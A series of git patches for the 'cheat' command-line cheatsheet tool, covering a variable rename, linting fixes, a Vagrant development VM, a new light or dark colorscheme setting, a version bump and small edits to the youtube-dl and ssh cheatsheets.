0000000..e6a3d23 --- /dev/null +++ b/ci/lint.sh @@ -0,0 +1,9 @@ +#!/bin/sh + +# Resolve the app root +SCRIPT=`realpath $0` +SCRIPTPATH=`dirname $SCRIPT` +APPROOT=`realpath "$SCRIPTPATH/.."` + +flake8 $APPROOT/bin/cheat +flake8 $APPROOT/cheat/*.py From 3ad923eff050bb44d6682f0820ff21bf89c1557e Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Fri, 1 Feb 2019 15:10:03 -0500 Subject: [PATCH 88/97] Refactored (11) Renamed `CHEAT_DEFAULT_DIR` to `CHEAT_USER_DIR` because the latter more accurately describes the purpose of the variable. --- README.md | 6 +++--- bin/cheat | 24 ++++++++++++------------ cheat/configuration.py | 5 +++-- cheat/sheet.py | 8 ++++---- cheat/sheets.py | 6 +++--- 5 files changed, 25 insertions(+), 24 deletions(-) diff --git a/README.md b/README.md index a9c86e7..ec2a354 100644 --- a/README.md +++ b/README.md @@ -83,13 +83,13 @@ with your [dotfiles][]. Configuring ----------- -### Setting a CHEAT_DEFAULT_DIR ### +### Setting a CHEAT_USER_DIR ### Personal cheatsheets are saved in the `~/.cheat` directory by default, but you -can specify a different default by exporting a `CHEAT_DEFAULT_DIR` environment +can specify a different default by exporting a `CHEAT_USER_DIR` environment variable: ```sh -export CHEAT_DEFAULT_DIR='/path/to/my/cheats' +export CHEAT_USER_DIR='/path/to/my/cheats' ``` ### Setting a CHEAT_PATH ### diff --git a/bin/cheat b/bin/cheat index 3791427..7ced880 100755 --- a/bin/cheat +++ b/bin/cheat @@ -53,29 +53,29 @@ if __name__ == '__main__': config = Configuration() config.validate() - # create the CHEAT_DEFAULT_DIR if it does not exist - if not os.path.isdir(config.cheat_default_dir): + # create the CHEAT_USER_DIR if it does not exist + if not os.path.isdir(config.cheat_user_dir): try: - os.mkdir(config.cheat_default_dir) + os.mkdir(config.cheat_user_dir) except OSError: Utils.die("%s %s %s" % ( - 'Could not create CHEAT_DEFAULT_DIR (', - config.cheat_default_dir, + 'Could not create CHEAT_USER_DIR (', + config.cheat_user_dir, ')') ) - # assert that the CHEAT_DEFAULT_DIR is readable and writable - if not os.access(config.cheat_default_dir, os.R_OK): + # assert that the CHEAT_USER_DIR is readable and writable + if not os.access(config.cheat_user_dir, os.R_OK): Utils.die("%s %s %s" % ( - 'The CHEAT_DEFAULT_DIR (', - config.cheat_default_dir, + 'The CHEAT_USER_DIR (', + config.cheat_user_dir, ') is not readable') ) - if not os.access(config.cheat_default_dir, os.W_OK): + if not os.access(config.cheat_user_dir, os.W_OK): Utils.die("%s %s %s" % ( - 'The CHEAT_DEFAULT_DIR (', - config.cheat_default_dir, + 'The CHEAT_USER_DIR (', + config.cheat_user_dir, ') is not writeable') ) diff --git a/cheat/configuration.py b/cheat/configuration.py index 73a5021..7b2d3bf 100644 --- a/cheat/configuration.py +++ b/cheat/configuration.py @@ -41,8 +41,9 @@ class Configuration: True, ]) - # self.cheat_default_dir - self.cheat_default_dir = self._select([ + # self.cheat_user_dir + self.cheat_user_dir = self._select([ + os.environ.get('CHEAT_USER_DIR'), os.environ.get('CHEAT_DEFAULT_DIR'), os.environ.get('DEFAULT_CHEAT_DIR'), # TODO: XDG home? diff --git a/cheat/sheet.py b/cheat/sheet.py index dfd42ff..4cd3f96 100644 --- a/cheat/sheet.py +++ b/cheat/sheet.py @@ -19,7 +19,7 @@ class Sheet: def _exists_in_default_path(self, sheet): """ Predicate that returns true if the sheet exists in default_path""" - default_path = os.path.join(self._config.cheat_default_dir, sheet) + default_path = os.path.join(self._config.cheat_user_dir, sheet) return (sheet in self._sheets.get() and os.access(default_path, os.R_OK)) @@ -32,7 +32,7 @@ class Sheet: # if the cheatsheet does not exist if not self._exists(sheet): - new_path = os.path.join(self._config.cheat_default_dir, sheet) + new_path = os.path.join(self._config.cheat_user_dir, sheet) self._editor.open(new_path) # if the cheatsheet exists but not in the default_path, copy it to the @@ -41,11 +41,11 @@ class Sheet: try: shutil.copy( self._path(sheet), - os.path.join(self._config.cheat_default_dir, sheet) + os.path.join(self._config.cheat_user_dir, sheet) ) # fail gracefully if the cheatsheet cannot be copied. This can - # happen if CHEAT_DEFAULT_DIR does not exist + # happen if CHEAT_USER_DIR does not exist except IOError: Utils.die('Could not copy cheatsheet for editing.') diff --git a/cheat/sheets.py b/cheat/sheets.py index 341fcfd..8458ea6 100644 --- a/cheat/sheets.py +++ b/cheat/sheets.py @@ -13,7 +13,7 @@ class Sheets: # Assembles a dictionary of cheatsheets as name => file-path self._sheets = {} sheet_paths = [ - config.cheat_default_dir + config.cheat_user_dir ] # merge the CHEAT_PATH paths into the sheet_paths @@ -23,7 +23,7 @@ class Sheets: sheet_paths.append(path) if not sheet_paths: - Utils.die('The CHEAT_DEFAULT_DIR dir does not exist ' + Utils.die('The CHEAT_USER_DIR dir does not exist ' + 'or the CHEAT_PATH is not set.') # otherwise, scan the filesystem @@ -40,7 +40,7 @@ class Sheets: def directories(self): """ Assembles a list of directories containing cheatsheets """ sheet_paths = [ - self._config.cheat_default_dir, + self._config.cheat_user_dir, ] # merge the CHEATPATH paths into the sheet_paths From a37577ee85dd7a05a0ae549850140aaadef0d51e Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Fri, 1 Feb 2019 15:18:23 -0500 Subject: [PATCH 89/97] Trivial: docstrings Updated some docstring comments. --- cheat/configuration.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cheat/configuration.py b/cheat/configuration.py index 7b2d3bf..4358a2f 100644 --- a/cheat/configuration.py +++ b/cheat/configuration.py @@ -79,7 +79,7 @@ class Configuration: ]) def _read_config_file(self, path): - # Reads configuration file and returns list of set variables + """ Reads configuration file and returns list of set variables """ config = {} if os.path.isfile(path): with open(path) as config_file: @@ -92,7 +92,7 @@ class Configuration: return v def validate(self): - """ Validate configuration parameters """ + """ Validates configuration parameters """ # assert that cheat_highlight contains a valid value highlights = [ From 9931b78c5f10c0dce9b3f79a8f82f4161a5ea3c4 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Fri, 1 Feb 2019 15:24:04 -0500 Subject: [PATCH 90/97] Lint - Added instruction to lint `setup.py` to `ci/lint.sh` - Updated `setup.py` per linter suggestions --- ci/lint.sh | 1 + setup.py | 24 ++++++++++++------------ 2 files changed, 13 insertions(+), 12 deletions(-) diff --git a/ci/lint.sh b/ci/lint.sh index e6a3d23..bfbb640 100755 --- a/ci/lint.sh +++ b/ci/lint.sh @@ -5,5 +5,6 @@ SCRIPT=`realpath $0` SCRIPTPATH=`dirname $SCRIPT` APPROOT=`realpath "$SCRIPTPATH/.."` +flake8 $APPROOT/setup.py flake8 $APPROOT/bin/cheat flake8 $APPROOT/cheat/*.py diff --git a/setup.py b/setup.py index 43cc96a..d6410f6 100644 --- a/setup.py +++ b/setup.py @@ -9,31 +9,31 @@ cheat_path = os.environ.get('CHEAT_PATH') or '/usr/share/cheat' # aggregate the systme-wide cheatsheets cheat_files = [] for f in os.listdir('cheat/cheatsheets/'): - cheat_files.append(os.path.join('cheat/cheatsheets/',f)) + cheat_files.append(os.path.join('cheat/cheatsheets/', f)) # specify build params setup( - name = 'cheat', - version = '2.4.2', - author = 'Chris Lane', - author_email = 'chris@chris-allen-lane.com', - license = 'GPL3', - description = 'cheat allows you to create and view interactive cheatsheets ' + name='cheat', + version='2.4.2', + author='Chris Lane', + author_email='chris@chris-allen-lane.com', + license='GPL3', + description='cheat allows you to create and view interactive cheatsheets ' 'on the command-line. It was designed to help remind *nix system ' 'administrators of options for commands that they use frequently, but not ' 'frequently enough to remember.', - url = 'https://github.com/chrisallenlane/cheat', - packages = [ + url='https://github.com/chrisallenlane/cheat', + packages=[ 'cheat', 'cheat.test', ], - scripts = ['bin/cheat'], - install_requires = [ + scripts=['bin/cheat'], + install_requires=[ 'docopt >= 0.6.1', 'pygments >= 1.6.0', 'termcolor >= 1.1.0', ], - data_files = [ + data_files=[ (cheat_path, cheat_files), ('/etc', ['config/cheat']), ], From 8aac10dd8b999641a4d65209ac672d532d483ab6 Mon Sep 17 00:00:00 2001 From: JensKorte Date: Sun, 3 Feb 2019 20:56:57 +0100 Subject: [PATCH 91/97] link changed, added details The table isn't available any more in the recent wiki page. The new link uses the old version of wikipedia. In my browser I have to "unhide" the box. --- cheat/cheatsheets/youtube-dl | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cheat/cheatsheets/youtube-dl b/cheat/cheatsheets/youtube-dl index de8a403..1c6a278 100644 --- a/cheat/cheatsheets/youtube-dl +++ b/cheat/cheatsheets/youtube-dl @@ -19,5 +19,5 @@ youtube-dl -s example.com/watch?v=id # To download audio in mp3 format with best quality available youtube-dl --extract-audio --audio-format mp3 --audio-quality 0 example.com/watch?v=id -# For all video formats see -# http://en.wikipedia.org/wiki/YouTube#Quality_and_codecs +# For all video formats see link below (unfold "Comparison of YouTube media encoding options") +# https://en.wikipedia.org/w/index.php?title=YouTube&oldid=723160791#Quality_and_formats From edc67e781992f6f510c872c29d55d9d3035b3f11 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Mon, 4 Feb 2019 10:03:19 -0500 Subject: [PATCH 92/97] Updated links to README Re-pathed links from `chrisallenlane/cheat` to `cheat/cheat` as appropriate, following the move. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index ec2a354..4579d5e 100644 --- a/README.md +++ b/README.md @@ -161,9 +161,9 @@ See Also: - [Related Projects][related-projects] -[autocompletion]: https://github.com/chrisallenlane/cheat/wiki/Enabling-Command-line-Autocompletion +[autocompletion]: https://github.com/cheat/cheat/wiki/Enabling-Command-line-Autocompletion [dotfiles]: http://dotfiles.github.io/ [gfm]: https://help.github.com/articles/creating-and-highlighting-code-blocks/ -[installing]: https://github.com/chrisallenlane/cheat/wiki/Installing +[installing]: https://github.com/cheat/cheat/wiki/Installing [pygments]: http://pygments.org/ -[related-projects]: https://github.com/chrisallenlane/cheat/wiki/Related-Projects +[related-projects]: https://github.com/cheat/cheat/wiki/Related-Projects From f29cf03b685aaf5757cda5e2fc69522b56715b26 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Mon, 4 Feb 2019 10:40:10 -0500 Subject: [PATCH 93/97] Added Vagrantfile Added a `Vagrantfile` which builds an alpine-based environment that can be used for development and testing. --- .gitignore | 2 ++ Vagrantfile | 17 +++++++++++++++++ 2 files changed, 19 insertions(+) create mode 100644 Vagrantfile diff --git a/.gitignore b/.gitignore index a9e1dad..8f24f8a 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,7 @@ +*.log *.pyc .env +.vagrant MANIFEST build cheat.egg-info diff --git a/Vagrantfile b/Vagrantfile new file mode 100644 index 0000000..eae2aff --- /dev/null +++ b/Vagrantfile @@ -0,0 +1,17 @@ +# -*- mode: ruby -*- +# vi: set ft=ruby : + +Vagrant.configure("2") do |config| + config.vm.box = "alpine/alpine64" + + config.vm.provider "virtualbox" do |vb| + vb.memory = "256" + end + + config.vm.provision "shell", inline: <<-SHELL + sudo apk update + sudo apk add py-pip + su vagrant && sudo -H pip install docopt pygments termcolor flake8 + cd /vagrant && sudo python setup.py install + SHELL +end From 6ae76799f732db2d8829e4f185bdb1ee9029820a Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Mon, 4 Feb 2019 11:50:25 -0500 Subject: [PATCH 94/97] Updated Vagrantfile Modified `Vagrantfile` to build an Ubuntu environment rather than Alpine, after the latter exhibited weird behavior. --- Vagrantfile | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/Vagrantfile b/Vagrantfile index eae2aff..3ab20e3 100644 --- a/Vagrantfile +++ b/Vagrantfile @@ -2,15 +2,15 @@ # vi: set ft=ruby : Vagrant.configure("2") do |config| - config.vm.box = "alpine/alpine64" + config.vm.box = "ubuntu/bionic64" config.vm.provider "virtualbox" do |vb| - vb.memory = "256" + vb.memory = "512" end config.vm.provision "shell", inline: <<-SHELL - sudo apk update - sudo apk add py-pip + sudo apt-get update + sudo apt-get install -y python-pip su vagrant && sudo -H pip install docopt pygments termcolor flake8 cd /vagrant && sudo python setup.py install SHELL From caf355f1428747c2485dd2cc7f55604825d73407 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Mon, 4 Feb 2019 11:56:00 -0500 Subject: [PATCH 95/97] Issue #349 Implements support for terminals with light backgrounds via a new `CHEAT_COLORSCHEME` envvar. --- README.md | 7 +++++++ cheat/colorize.py | 5 ++++- cheat/configuration.py | 13 +++++++++++++ config/cheat | 7 ++++--- 4 files changed, 28 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 4579d5e..8d67e00 100644 --- a/README.md +++ b/README.md @@ -118,6 +118,13 @@ export CHEAT_COLORS=true Note that [pygments][] must be installed on your system for this to work. +`cheat` ships with both light and dark colorschemes to support terminals with +different background colors. A colorscheme may be selected via the +`CHEAT_COLORSCHEME` envvar: + +```sh +export CHEAT_COLORSCHEME=light # must be 'light' (default) or 'dark' +``` #### Specifying a Syntax Highlighter #### You may manually specify which syntax highlighter to use for each cheatsheet by diff --git a/cheat/colorize.py b/cheat/colorize.py index 7b18beb..1d24d7c 100644 --- a/cheat/colorize.py +++ b/cheat/colorize.py @@ -59,4 +59,7 @@ class Colorize: except Exception: pass - return highlight(sheet_content, lexer, TerminalFormatter()) + return highlight( + sheet_content, + lexer, + TerminalFormatter(bg=self._config.cheat_colorscheme)) diff --git a/cheat/configuration.py b/cheat/configuration.py index 4358a2f..bd97297 100644 --- a/cheat/configuration.py +++ b/cheat/configuration.py @@ -41,6 +41,13 @@ class Configuration: True, ]) + # self.cheat_colorscheme + self.cheat_colorscheme = self._select([ + os.environ.get('CHEAT_COLORSCHEME'), + config.get('CHEAT_COLORSCHEME'), + 'light', + ]).strip().lower() + # self.cheat_user_dir self.cheat_user_dir = self._select([ os.environ.get('CHEAT_USER_DIR'), @@ -104,4 +111,10 @@ class Configuration: Utils.die("%s %s" % ('CHEAT_HIGHLIGHT must be one of:', highlights)) + # assert that the color scheme is valid + colorschemes = ['light', 'dark'] + if self.cheat_colorscheme not in colorschemes: + Utils.die("%s %s" % + ('CHEAT_COLORSCHEME must be one of:', colorschemes)) + return True diff --git a/config/cheat b/config/cheat index bb18291..fcbcbbd 100644 --- a/config/cheat +++ b/config/cheat @@ -1,5 +1,6 @@ { - "CHEAT_COLORS" : true, - "CHEAT_EDITOR" : "vi", - "CHEAT_PATH" : "/usr/share/cheat" + "CHEAT_COLORS" : true, + "CHEAT_COLORSCHEME" : "light", + "CHEAT_EDITOR" : "vi", + "CHEAT_PATH" : "/usr/share/cheat" } From 074dba6e99c91f6c18b4b3a841bd00d600f1c0b3 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Mon, 4 Feb 2019 12:04:52 -0500 Subject: [PATCH 96/97] v2.5.0 `minor` version bump to `2.5.0`. --- bin/cheat | 2 +- setup.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/bin/cheat b/bin/cheat index 7ced880..752f380 100755 --- a/bin/cheat +++ b/bin/cheat @@ -47,7 +47,7 @@ import os if __name__ == '__main__': # parse the command-line options - options = docopt(__doc__, version='cheat 2.4.2') + options = docopt(__doc__, version='cheat 2.5.0') # initialize and validate configs config = Configuration() diff --git a/setup.py b/setup.py index d6410f6..7a31662 100644 --- a/setup.py +++ b/setup.py @@ -14,7 +14,7 @@ for f in os.listdir('cheat/cheatsheets/'): # specify build params setup( name='cheat', - version='2.4.2', + version='2.5.0', author='Chris Lane', author_email='chris@chris-allen-lane.com', license='GPL3', From 5812bca6b73fd28fb18747c43b0e28dd445a8929 Mon Sep 17 00:00:00 2001 From: Shadab Zafar Date: Mon, 4 Feb 2019 23:45:16 +0530 Subject: [PATCH 97/97] ssh: Improve SOCKS command This doesn't give an SSH shell, but just forwards the ports - which is what one usually requires when setting up a SOCKS proxy. The -q is to suppress messages etc. --- cheat/cheatsheets/ssh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cheat/cheatsheets/ssh b/cheat/cheatsheets/ssh index e6af78f..8049902 100644 --- a/cheat/cheatsheets/ssh +++ b/cheat/cheatsheets/ssh @@ -21,7 +21,7 @@ ssh -f -L 8080:remote.example.com:5000 user@personal.server.com -N ssh -X -t user@example.com 'chromium-browser' # To create a SOCKS proxy on localhost and port 9999 -ssh -D 9999 user@example.com +ssh -qND 9999 user@example.com # To tunnel an ssh session over the SOCKS proxy on localhost and port 9999 ssh -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" username@example2.com